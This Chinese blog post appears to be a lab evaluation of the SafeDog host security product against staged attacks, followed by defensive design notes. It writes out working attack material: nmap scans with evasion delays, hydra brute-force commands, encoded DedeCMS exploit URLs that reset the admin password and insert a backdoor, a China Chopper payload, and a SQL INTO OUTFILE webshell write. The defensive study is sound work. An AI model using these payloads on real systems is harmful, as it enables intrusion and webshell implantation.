zl程序教程

您现在的位置是:首页 >  其他

当前栏目

基于攻防对抗场景的安全狗布防点研究

安全 基于 研究 场景 攻防 对抗
2023-09-27 14:28:11 时间

1. 漏洞环境搭建

0x1:IIS FTP

1. 匿名直接登录
2. FTP根目录设置在WEB目录
3. 设置了可读、可写权限

用户常常为了方便远程部署、管理自己的网站服务器,方便随时上传自己线下完成的源代码,在自己的ECS上架设了FTP服务,并将WEB目录设置成了FTP目录,自然,读写权限也是需要打开的

0x2:ServU FTP

1. FTP监听端口: 2121: 管理员进行了一定程度的端口隐藏,对黑客的恶意端口探测起到一定的防御作用
2. FTP HTTP监听端口: 8080: http://112.124.6.139:8080/
3. 弱密码: admin、admin
4. FTP目录设置为WEB目录(锁定目录在根目录): 管理员配置了根目录锁定,将FTP的文件操作作用域限定在了FTP目录下 
5. 设置了可读、可写权限: 同样,为了方便WEB网站文件的管理,这是必须的

0x3:tomcat manager后台弱口令

http://112.124.6.139:9999/
http://112.124.6.139:9999/manager/html

默认情况下,tomcat的帐号的确是tomcat:tomcat(同时admin:admin也是常用的弱密码),但是却不具备访问manager页面,远程部署WAR包的权限,需要管理员人工修改配置manager权限才能够直接部署war包,需要新增一个manager角色,并将指定帐号赋予这个角色,之后管理员才可以使用这个帐号登录manager页面

0x4:DEDECMS download.php、xx_js.php数据库后门漏洞

http://www.cnblogs.com/LittleHann/p/4236517.html

黑客通过这个漏洞可以直接修改管理员帐号/密码、向数据库中写入WEBSHELL后门,并且触发数据库后门的方式完全无特征可言: http://localhost/dedecms5.5/plus//mytag_js.php?aid=1
防御者必须在POC攻击的时候就进行修复、阻断

0x5:phpmyadmin弱密码

http://112.124.6.139/phpmyadmin/

由于mysql存在弱密码root、111,又因为phpmyadmin的存在,导致黑客对mysql的攻击面又多了一个web端

0x6:mysql弱密码

root、111: 开启外连

 

2. 黑客攻击手段、及其攻击过程中受到的阻击

0x1:端口扫描

端口扫描是攻击者进行试探攻击最常用的手段,但同时也是运维管理员对服务器进行存活探测的常用手段,因此对于绝大多数安全软件来说都不会去阻断这一行为

nmap -sS -P0 -sV -O 112.124.6.139

但是安全狗的默认策略禁止了端口扫描这一行为

安全狗对端口扫描的防护策略是通过限制在一个时间窗口内的TCP全连接连接、SYN半连接、端口连接、ICMP包、UDP包的数量,来达到防御网络扫描和攻击的目的

在这种情况下,攻击者可以有两种突破思路,由此也可以看出安全攻防的本质是基于一定的基础设施(操作系统原生提供、应用层程序),在其上部署适当的"模式策略",基础设施提供原子事件数据,在策略判断层进行"模式匹配",如果匹配命中,则认定为发生了攻击行为,但同时也要认识到,安全策略的另一个特性就是和正常的用户行为并不存在绝对的分界线,即由安全人员定义的"安全策略"极有可能侵入到正常用户的操作中(模式识别中的分类器模糊难题)
目前安全攻防产品解决这个"策略分界线"难题的思路大体有两个方向: 1) 采取保守策略、2) 系统默认采取一个低侵入性的保守策略,同时允许用户自定义额外配置

1. 调整端口扫描方式
2. 降低端口扫描速度:  nmap -sS -P0 -sV -O 112.124.6.139 --scan-delay 300ms

由此可以看出该主机存在的攻击向量有FTP、SSH、80 WEB、MYSQL

0x2:IIS FTP匿名登录

FTP匿名登录属于用户对IIS FTP的配置不当,安全狗在登录阻断这点没有设置布防点,黑客可以直接匿名登录,而此时如果FTP的根目录是WEB目录的话,黑客可以进一步上传WEBSHELL,而对WEB进行禁止读写又是不现实的,在这一步,WEBSHELL可以畅通无阻地写入到WEB目录中

从文件落地监控的角度来看,不论是采用inotify、还是基于文件系统驱动的文件变动监控,在系统层面直接进行Hook/callback实现文件变动监控都是最好的选择,在此之上对WEB目录下的变动文件进行恶意WEBSHELL检测

另外,从检测->阻断->修复的层次防御角度上来看,解决IIS FTP匿名登录最好的方式是在主机层面进行漏洞检测,帮助用户提前发现IIS FTP匿名登录这一个入侵向量,提醒用户去进行配置加固,或者提供自动化的一键修复接口,由用户进行授权修复

但是在进一步的入侵中我们会发现,安全狗采取了WEBSERVER插件模块的方式,实现了WEBSERVER WAF,对WEBSHELL的连接进行了以下几个方面的阻断

1. 基于文件变动事件、WEBSHELL特征检测: 检测到100%确定是webshell,则直接删除(默认不开启此功能)
2. WEB容器扩展模块: 对当前请求待执行的文件进行内容检测,如果检测到恶意WEBSHELL文件,则禁止访问
3. WEB容器扩展模块: 对当前请求数据包的流量特征进行菜刀检测,禁止一句话菜刀的连接

从实际结果上来看,我们虽然获得了webshell,但是却没有访问权限,黑客需要针对菜刀进行逆向重编译,修改POST数据包特征,方可绕过安全狗的流量检测,所以从这个层面上讲,如果安全狗能加强webshell的检测和删除能力,会形成更大的入侵阻击能力

0x3:ServU FTP弱密码猜解

使用hydra对2121的的ServU进行弱密码猜解,受到了安全狗网络防火墙的阻击,黑客的攻击频率命中了安全狗对SYN密度的策略窗,一旦命中了安全狗的攻击策略,安全狗会针对当前的攻击源IP进行拉黑,在一定时间窗口内禁止继续发包

攻击者调整爆破频率,采取分段、延时爆破的方式,继续发起攻击

hydra -t 1 -l admin -P /root/passwdCracker/password.lst -vV 112.124.6.139 ftp -s 2121

同时我们发现,安全狗在设置了TCP/UDP的泛防御规则的同时,针对应用层的应用部署了"应用防火墙"(这是一个概念),针对FTP暴力破解设置了更严格的防御策略,这是一种深度防御暴力破解策略,由于受到单击模式的限制,安全狗无法展开部署广度防御暴力破解策略

同样FTP弱密码猜解成功导致的FTP上传WEBSHELL入侵,最好的方式是在主机层面帮助用户检测出存在的FTP弱口令,通知用户进行密码加固,或者提供自动化地一键修复接口
黑客通过ServU FTP向WEB目录上传WEBSHELL,同样,在这一步上,安全狗对落地的可疑文件进行恶意扫描

并且从网络数据包层面上对"一句话菜刀"的数据包特征进行检测、并阻断,例如

op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

导致中国菜刀无法连接WEBSHELL

0x4:异地登录限制

黑客在通过WEBSHELL、或者其他命令执行管道添加了管理员权限帐号之后,会通过3389 RDP进行登录,在大多数情况下,这都会触发"异地登陆"这个行为,安全狗在这个攻击向量上布防了"远程桌面守护",即限制可以RDP登录的ip、计算机名白名单,并在阻断异常异地登录之后发送告警提醒(这是一个极高危的安全事件)

 

0x5:tomcat manager后台远程WAR包部署

由于tomcat本身存在默认配置的弱密码,加上管理员对密码安全不够重视,黑客对tomcat manager后台的密码爆破几乎不需要借助字典,只是简单的手工尝试几个常用的默认密码就可以进入(例如admin:admin、tomcat:tomcat)

http://112.124.6.139:9999/1/1.jsp

同样,在这个攻击向量上,安全狗对文件落地扫,即WEBSHELL检测并没有太多的阻击能力, 同时因为安全狗是基于WEBSERVER插件模块的方式实现WAF的,对于tomcat webshell并不能实现连接阻断

0x6:DEDECMS download.php、xx_js.php数据库后门漏洞攻击

黑客在利用这个漏洞进行攻击的过程中,会暴露出的攻击特征有以下几个

1. POC: 修改管员密码:
http://112.124.6.139/dedecms5.7/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

2. POC: 向数据库插入后门
http://112.124.6.139/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

3. 触发数据库,向磁盘上写入WEBSHELL
http://localhost/dedecms5.7/plus/mytag_js.php/aid=1
http://localhost/dedecms5.7/plus/mytag_js.php/aid=2
..
http://localhost/dedecms5.7/plus/mytag_js.php/aid=n
//黑客会使用工具或脚本进行批量扫描,以触发目标数据库中可能存在的脏数据后门

对于一个攻防产品来说,在这个攻击向量上可以做的阻击有以下几种思路

1. 网络层面: WAF
安全狗基于WEBSERVER插件模块实现主机WAF,在云端,安全人员添加了大量的常见0day、web漏洞POST/GET数据包特征(同时允许用户添加自定义WAF规则),如果在请求数据包中发现这些特征,立刻进行阻断,实现WAF的效果

2. 代码层漏洞修复
通过修改用户网站脚本文件,将官方的补丁代码插入存在漏洞的文件中,以此达到阻断攻击的目的

3. 防御CC/扫描器行为
典型地如: http://localhost/dedecms5.7/plus/mytag_js.php/aid=n,黑客会进行大量的类似CC攻击的扫描

 

0x7:phpmyadmin弱密码破解+执行自定义SQL导出

hydra -l root -P /root/passwdCracker/password.lst -s 80 112.124.6.139 http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:<title>1045</title>"

和dedecms的xx_js.php的aid扫描一样,黑客针对pma的弱口令拆解会触发CC攻击的防御规则

但是我们也可以看到,相对于云厂商,安全狗这种基于主机层面的防入侵产品,只能进行"基于深度策略的暴力破解拦截",而无法进行"基于广度策略的暴力破解拦截",即它无法根据当前云平台上其他服务器"正在发生、或已经发生"的被暴力破解行为,来提取攻击者信息,从而针对恶意攻击IP进行全网封锁
弱密码拆解成功之后,黑客可以通过pma偷取mysql中的机密数据,更进一步的是,黑客通过执行自定义sql通过mysql进行webshell文件写入

select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'C:/exehack.php'

但是,漏洞利用的WEB POC同样遭到了安全狗WEBSERVER WAF模块的拦截
在实际测试中发现,安全狗的文件系统变动监控驱动会实时地上报文件落地消息,对非web目录的一句话webshell进行提示并删除,但是对web目录下的文件却不作处理(不理解这个策略的原因)
要从根本上防御这个攻击向量,有如下几种思路

1. 主机WAF
漏洞的利用常常包含有固定的POC URL特征,对于pma写webshell也是同样: import.php post: /select.*into.*(outfile|dumpfile)/sim

2. 漏洞修复
在代码层对import.php进行漏洞修复

0x8:mysql弱口令导致UDF入侵

在默认mysql安装情况下,mysql的帐号是没有外连功能的(即只允许本地localhost连接),由于服务器管理员的配置不当或者处于网络架构的需要(WEBSERVER、DB分离)开启了mysql的外连
黑客在猜解成功了mysql的弱密码之后,通过上传UDF可以实现远程命令执行,攻击者的攻击向量有如下几种

1. 添加系统帐号
安全狗在文件系统/进程管控层面通过驱动实现了系统高危程序的禁用执行,使得net user这个指令无法被外部攻击向量利用

2. 下载恶意程序、DDOS程序、病毒

Relevant Link:

https://www.91ri.org/891.html

 

3. 底层技术原理

本章节针对以上涉及的攻击向量,逐个讨论最佳的防御手段

0x1:FTP匿名登录

这个漏洞的根源在于用户对自身服务器的配置不当,同时服务器上的FTP种类繁多,不可能都有原生的API可以调用来关闭匿名登录开关(通过API关闭仅限于IIS FTP),所以最好的方式是帮助用户检测出当前主机存在的攻击向量,让用户自己去修改不当配置

0. 遍历本机处于监听状态的端口
1. 构造验证信息: 在FTP中,验证信息是以命令字符串的形式发送到服务器的。首先,验证信息用户名
sprintf(sendBuf, "USER %s\r\n", "test");
2. 如果目标端口是FTP Server在监听,则会返回: 331 User name okay, need password这种字符串
3. 继续构造密码:
sprintf(send_buf,"PASS %s\r\n", password);
4. 如果用户使用匿名登录方式登录FTP服务器,则用户名使用默认的anonymous,密码可以是自己的邮箱。那么命令流为"USER"+anonymous+"PASS"+xxxx@163.com
5. 客户端在接收到服务器返回的信息以后,我们需要将返回的信息内容进行分析,通过判断返回码的不同判断当前帐号/密码组合是否正确

Relevant Link:

http://www.cnblogs.com/LittleHann/p/4685533.html
http://www.cnblogs.com/LittleHann/p/3988923.html

0x2:端口扫描

端口扫描属于网络形式攻击的一种,现在普遍的方案是采用内核态防火墙,对于windows/linux来说,在内核网络模块进行Hook/注册所能得到的都是"纯粹的网络封包、连接行为"信息,网络防火墙必须设定一些规则对实时拦截的网络封包行为进行"模式匹配",当命中规则时,则根据指定的维度(IP、端口、状态、时间)对之后的网络封包实行不同的动作(放行、修改、阻断、重定向)
从总体上看,防火墙的主要功能有以下几个部分

1. 过滤进出网络的数据包
防火墙是任何网络信息进出的必经之路,它检查所有数据包的细节,并根据事先制定好的策略允许或禁止这些数据包的传输,这种强制性集中实施安全策略的方法,简化了管理,提高了效率

2. 站点访问控制
防火墙限定外部网络只能访问内部网络的某些主机

3. 网络连接的日志记录及使用统计
4. 封堵某些禁止的服务
网络数据的传输更多是通过不同的网络访问服务而获得的,防火墙可以采取允许网络中有授权的协议和服务通过防火墙,禁止存在安全脆弱性的服务进出网络,从而使内部网络免于遭受来自外界基于某协议或某服务的攻击

5. 强化站点资源的私有性
防火墙通过对一些服务、机密文件访问的禁止,防止攻击者获得可利用的信息

理解了端口扫描可能采用的技术之后,我们会发现,所有的端口扫描在防御方的内核态看来,都至少表现出一个行为特征: 包/请求的新建

1. 数据包截获模块: NDIS中间层驱动程序,截获所有"进出(in out)"主机的传输数据包,并从中提取出有效信息,供其他模块使用
2. 数据包分析、过滤模块: 根据管控规则对数据包中不同的协议按照不同的首部格式进行分析、过滤,如果该数据包具有"端口扫描"特征,即当指定时间区间内新建连接的数量超过一个指定阈值,则认定为发生攻击行为,将数据包交给端口扫描防护模块进行二次处理
3. 管控规则模块: 根据ring3应用传入的安全规则,设置数据包过滤模块的过滤规则
4. 端口扫描防护模块: 对具有"端口扫描"特征的数据包根据其特征和被扫描端口的状态构造特定的响应数据包(或者对应的处理动作),实现对端口扫描的防护

端口扫描防护模块的具体实现,基于NDIS中间层驱动技术,我们可以截获所有本机接收的TCP、UDP、ICMP数据包,所以接下来的重点就是采取什么样的"模式匹配策略",来有效地发现端口扫描行为

1. 在收到的TCP数据包中,检测相关字段是否出现畸形异常: 记录异常数据包并报警、同时丢弃异常数据包
    1) TCP首部中SYN标志被置位但16位窗口值为0
    2) TCP首部中STN标志被置位但32位序列号为0 
2. 如果收到的是一个正常的TCP-SYN连接请求数据包,则将当前数据包保存到BufferList中,进行后续的"异常状态判断"
    1) 如果发现一个标志位ACK标志位,如果在BufferList中已经存在,则将相关计数标识值+1,然后判断是否超过阈值
    2) 如果发现一个标志位FIN被置位的TCP数据包,且在BufferList中不存在,说明发生了FIN扫描攻击
    3) 如果发现一个标志位RST被置位的TCP数据包,且在BufferList中不存在,说明发生了RST扫描攻击

Relevant Link:

常用端口扫描技术: http://www.cnblogs.com/LittleHann/p/4685533.html
http://book.51cto.com/art/200707/52151.htm
http://www.docin.com.cn/p-507487416.html

0x3:SSH/FTP/Mysql弱密码 

弱密码问题要导致弱密码猜解安全风险,解决密码裁决问题的一个思路是通过NDIS对syn flood、syn半开连接进行频度阈值检测,从网络层面解决暴力穷举攻击。从另一个角度来说,弱密码是安全厂商和用户的安全意识共建问题,安全厂商应该帮助用户枚举出存在的弱密码,尽可能地识别出安全入侵风险

0x4:WEB 0/N Day漏洞

采用WEB容器扩展模块方式实现主机层WAF,规则通过云端动态更新